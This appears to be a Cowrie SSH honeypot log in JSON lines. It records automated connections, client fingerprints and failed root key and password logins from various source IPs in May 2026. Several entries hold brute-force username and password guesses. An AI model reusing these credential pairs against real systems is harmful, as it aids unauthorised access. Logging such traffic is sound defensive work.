{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:b8:f3:cd:ad:7b:a9:6a:6c:27:c4:c0:43:24:9f:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjdcDxrzasRRHqgaTxL8ePEl2l+HV3/LVx4fnZ7BSzLhgov1dtdtdl9Q34gKsB5BzAOeBjN4Bb7F/SSg4l2L4iJg1Ay1ySe9FKzLs+Fc5kOt8n2/Mwq7MjMzCxksBHskTCd51uvURsk2dhJlfUeEm+U/DsZ5/NTvjGw0aR3XJ5/sWJG6vXg7Gofi/HHZXmYin6ezXdxdcH+7ZaEytmCi5m7Jv8UZFLiFTCJG8q+3UJoF0GUOIxZZuTw12oRwWQXwC1SgocltR2ROAthUNldvgECkxGY7P7uuMxbVHQvAfteEtE1LmneAUDgHA0VfrGLstv2iX6qLCG6fb0zKDLclFp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:25.023733Z","src_ip":"38.96.178.216","session":"0e83ab3a2aed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:f3:e7:9e:35:32:62:38:c9:31:43:37:fa:92:2b:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzmN8oKZmfic71mb/Pps/4L8K9cSJ1LsVMgeMKwqt2UNOoYvIerrm6lAbb3FGGD1eyiyCAujgzIbhSxIbLBRTy1DI+aWTyVZXMoKU3VRfYXIOI1zFvgCw9IQHEbqKnbYbT02FXIO36RA9D3ZHQwWLFjmsH6JKFchjBLMnJvXyzfwJ0odf9kSrWdswA3bfrVnJb46o+1zQ1HL5kdDFG1WtpLAwoRiIV2sRGbWx0zmHfriRAiGyMJB6PX6YoG6pFrMkOpwTkG81zh8WsJYxUHLbyNXtwcBrAVK3lHKrog0e1YElprApzfxkr2auVvtLWNH1TlwAG9aprTsO9A1tDhY9p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:f3:e7:9e:35:32:62:38:c9:31:43:37:fa:92:2b:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:25.031878Z","src_ip":"38.96.178.216","session":"0e83ab3a2aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:f3:e7:9e:35:32:62:38:c9:31:43:37:fa:92:2b:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzmN8oKZmfic71mb/Pps/4L8K9cSJ1LsVMgeMKwqt2UNOoYvIerrm6lAbb3FGGD1eyiyCAujgzIbhSxIbLBRTy1DI+aWTyVZXMoKU3VRfYXIOI1zFvgCw9IQHEbqKnbYbT02FXIO36RA9D3ZHQwWLFjmsH6JKFchjBLMnJvXyzfwJ0odf9kSrWdswA3bfrVnJb46o+1zQ1HL5kdDFG1WtpLAwoRiIV2sRGbWx0zmHfriRAiGyMJB6PX6YoG6pFrMkOpwTkG81zh8WsJYxUHLbyNXtwcBrAVK3lHKrog0e1YElprApzfxkr2auVvtLWNH1TlwAG9aprTsO9A1tDhY9p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:25.036469Z","src_ip":"38.96.178.216","session":"0e83ab3a2aed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2e:2d:11:6d:7b:10:5c:2e:1b:2b:51:a5:55:7a:a1:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrdxgp3xoSmNGgITbLHAKvkonKVOn2E5csFx1SD8XUzJQo7tsCzpusKUcRACoRKDfCPhCAwSA6aUbM/W7dgBVwT+cCMpgiJbl4Z4FsUtJ2rLwDObMVM73AhgMkr4063qH3rl5mi8L/u/8yF+msVxAhq162Bsd+Ph+VO52ViBD198ut3JF5129ikcJz7RQCH5WUol95po2301dgzVJ6HeafnMGxlG7znj3FbyZXPv6zxTz0/zX87sRDfVzMNJJ9gplV+S9iM3fD+C1yrjxnEDjFTLRNueLFWz8AeNsi1EGnok+nVM6mmJOhdt6/DBu60FnLeqsKFq/+riuGexcValdl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2e:2d:11:6d:7b:10:5c:2e:1b:2b:51:a5:55:7a:a1:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:25.048538Z","src_ip":"38.96.178.216","session":"0e83ab3a2aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2e:2d:11:6d:7b:10:5c:2e:1b:2b:51:a5:55:7a:a1:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrdxgp3xoSmNGgITbLHAKvkonKVOn2E5csFx1SD8XUzJQo7tsCzpusKUcRACoRKDfCPhCAwSA6aUbM/W7dgBVwT+cCMpgiJbl4Z4FsUtJ2rLwDObMVM73AhgMkr4063qH3rl5mi8L/u/8yF+msVxAhq162Bsd+Ph+VO52ViBD198ut3JF5129ikcJz7RQCH5WUol95po2301dgzVJ6HeafnMGxlG7znj3FbyZXPv6zxTz0/zX87sRDfVzMNJJ9gplV+S9iM3fD+C1yrjxnEDjFTLRNueLFWz8AeNsi1EGnok+nVM6mmJOhdt6/DBu60FnLeqsKFq/+riuGexcValdl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:25.052450Z","src_ip":"38.96.178.216","session":"0e83ab3a2aed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:c4:4e:6d:a5:4f:58:b2:0b:0b:09:cf:f5:ee:65:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC29pr/rKkMjyiIXoP79AzCMNFVt9eDnV+Pe6OvvZ6quwS8MDeXyxP2hDq3nAzgO43IYJ38bEudkdx+7tz/Qz4wMbs3wrkC5SIfFljBtVpQr9bUf24QX2o/Z3iYgjJiAuDVwzYERKgx8wXl6hIdISCTuhB1hRZCshYarEvOzjAnhgimUDKB1DkXXw9LenLWFnfMyWIUT3iGiWuJKyibP7nHQRMzXZg5rnIilXtRLIoRjp1GtQ7nevk2KpM5R5vl1r5owbN5EZmSoIIk2YyDd3aQCkqASF0sWyrjrsZeg5yhoYuO2LixfUj+uuNkBE78EJU/4AT8C6uFOPmGYjYQkgSkmGTTxPhSokftQyO8AkC+9Jfur7DO/nA8SHy06apfhZbN5UUi3d25BU+lusahk46cnvDsFaAOJHm4MN0b6pI/88Y+ML28k19SBb6wvTjoHNzA9M8dN13gU596P9uIo8QShIzkTMxnEfCw9MsxkjoWLKbDbI0sUrFyR4b72y571Mt76jPQwFQ0+Huxth8gX1vrTVHu5H+A+t0YFZVSaF7AQxezrRvMmX33nqAkuZi4GcB91pP0/cY0ifhHUZxJnQBB+P+hF0L/RS3w6YJJqWCIhzSr2/ug7qQ8cvJn/ucBsl4uEDWeBfSI04FMUcj7qidvTkZTVjnrYF/ydhh+5UIo6w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:c4:4e:6d:a5:4f:58:b2:0b:0b:09:cf:f5:ee:65:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:25.063158Z","src_ip":"38.96.178.216","session":"0e83ab3a2aed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:c4:4e:6d:a5:4f:58:b2:0b:0b:09:cf:f5:ee:65:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC29pr/rKkMjyiIXoP79AzCMNFVt9eDnV+Pe6OvvZ6quwS8MDeXyxP2hDq3nAzgO43IYJ38bEudkdx+7tz/Qz4wMbs3wrkC5SIfFljBtVpQr9bUf24QX2o/Z3iYgjJiAuDVwzYERKgx8wXl6hIdISCTuhB1hRZCshYarEvOzjAnhgimUDKB1DkXXw9LenLWFnfMyWIUT3iGiWuJKyibP7nHQRMzXZg5rnIilXtRLIoRjp1GtQ7nevk2KpM5R5vl1r5owbN5EZmSoIIk2YyDd3aQCkqASF0sWyrjrsZeg5yhoYuO2LixfUj+uuNkBE78EJU/4AT8C6uFOPmGYjYQkgSkmGTTxPhSokftQyO8AkC+9Jfur7DO/nA8SHy06apfhZbN5UUi3d25BU+lusahk46cnvDsFaAOJHm4MN0b6pI/88Y+ML28k19SBb6wvTjoHNzA9M8dN13gU596P9uIo8QShIzkTMxnEfCw9MsxkjoWLKbDbI0sUrFyR4b72y571Mt76jPQwFQ0+Huxth8gX1vrTVHu5H+A+t0YFZVSaF7AQxezrRvMmX33nqAkuZi4GcB91pP0/cY0ifhHUZxJnQBB+P+hF0L/RS3w6YJJqWCIhzSr2/ug7qQ8cvJn/ucBsl4uEDWeBfSI04FMUcj7qidvTkZTVjnrYF/ydhh+5UIo6w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:25.067060Z","src_ip":"38.96.178.216","session":"0e83ab3a2aed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:25.076638Z","src_ip":"38.96.178.216","session":"0e83ab3a2aed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":44932,"dst_ip":"10.17.0.5","dst_port":22,"session":"3505fc515e3a","protocol":"ssh","message":"New connection: 190.244.39.224:44932 (10.17.0.5:22) [session: 3505fc515e3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:55.485735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:55.492746Z","src_ip":"190.244.39.224","session":"3505fc515e3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:55.687448Z","src_ip":"190.244.39.224","session":"3505fc515e3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user04","password":"1234","message":"login attempt [user04/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:56.476193Z","src_ip":"190.244.39.224","session":"3505fc515e3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:15:57.683495Z","src_ip":"190.244.39.224","session":"3505fc515e3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":44861,"dst_ip":"159.203.135.109","dst_port":22,"session":"a78872330511","protocol":"ssh","message":"New connection: 2.57.121.25:44861 (159.203.135.109:22) [session: a78872330511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:16:04.772831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:16:04.777919Z","src_ip":"2.57.121.25","session":"a78872330511","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:16:04.883229Z","src_ip":"2.57.121.25","session":"a78872330511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28121991","message":"login attempt [user/28121991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:16:05.370744Z","src_ip":"2.57.121.25","session":"a78872330511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"281183","message":"login attempt [user/281183] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:16:06.476843Z","src_ip":"2.57.121.25","session":"a78872330511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28101993","message":"login attempt [user/28101993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:16:07.583877Z","src_ip":"2.57.121.25","session":"a78872330511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28101983","message":"login attempt [user/28101983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:16:08.691077Z","src_ip":"2.57.121.25","session":"a78872330511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28091994","message":"login attempt [user/28091994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:16:09.798562Z","src_ip":"2.57.121.25","session":"a78872330511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:16:10.907829Z","src_ip":"2.57.121.25","session":"a78872330511","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":4686,"dst_ip":"10.17.0.5","dst_port":22,"session":"8922b7af935b","protocol":"ssh","message":"New connection: 27.74.248.52:4686 (10.17.0.5:22) [session: 8922b7af935b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:16:10.968822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:16:10.974030Z","src_ip":"27.74.248.52","session":"8922b7af935b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:16:11.438091Z","src_ip":"27.74.248.52","session":"8922b7af935b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminroot","message":"login attempt [root/adminroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:16:12.881407Z","src_ip":"27.74.248.52","session":"8922b7af935b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:16:14.347597Z","src_ip":"27.74.248.52","session":"8922b7af935b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":38666,"dst_ip":"10.17.0.5","dst_port":22,"session":"8365f26f1d0a","protocol":"ssh","message":"New connection: 141.11.21.145:38666 (10.17.0.5:22) [session: 8365f26f1d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:17:20.182544Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:17:20.261822Z","src_ip":"141.11.21.145","session":"8365f26f1d0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":38680,"dst_ip":"10.17.0.5","dst_port":22,"session":"93e9540c5aa5","protocol":"ssh","message":"New connection: 141.11.21.145:38680 (10.17.0.5:22) [session: 93e9540c5aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:17:20.345412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:17:20.350766Z","src_ip":"141.11.21.145","session":"93e9540c5aa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:17:20.433717Z","src_ip":"141.11.21.145","session":"93e9540c5aa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"czb","password":"czb123","message":"login attempt [czb/czb123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:17:20.683797Z","src_ip":"141.11.21.145","session":"93e9540c5aa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:17:21.770039Z","src_ip":"141.11.21.145","session":"93e9540c5aa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40512,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e94be9ce4d6","protocol":"ssh","message":"New connection: 193.32.162.145:40512 (159.203.135.109:22) [session: 1e94be9ce4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:17:22.309395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:17:22.313391Z","src_ip":"193.32.162.145","session":"1e94be9ce4d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:17:22.418266Z","src_ip":"193.32.162.145","session":"1e94be9ce4d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shredstream","password":"shredstream","message":"login attempt [shredstream/shredstream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:17:22.735220Z","src_ip":"193.32.162.145","session":"1e94be9ce4d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:17:23.843453Z","src_ip":"193.32.162.145","session":"1e94be9ce4d6","protocol":"ssh"}
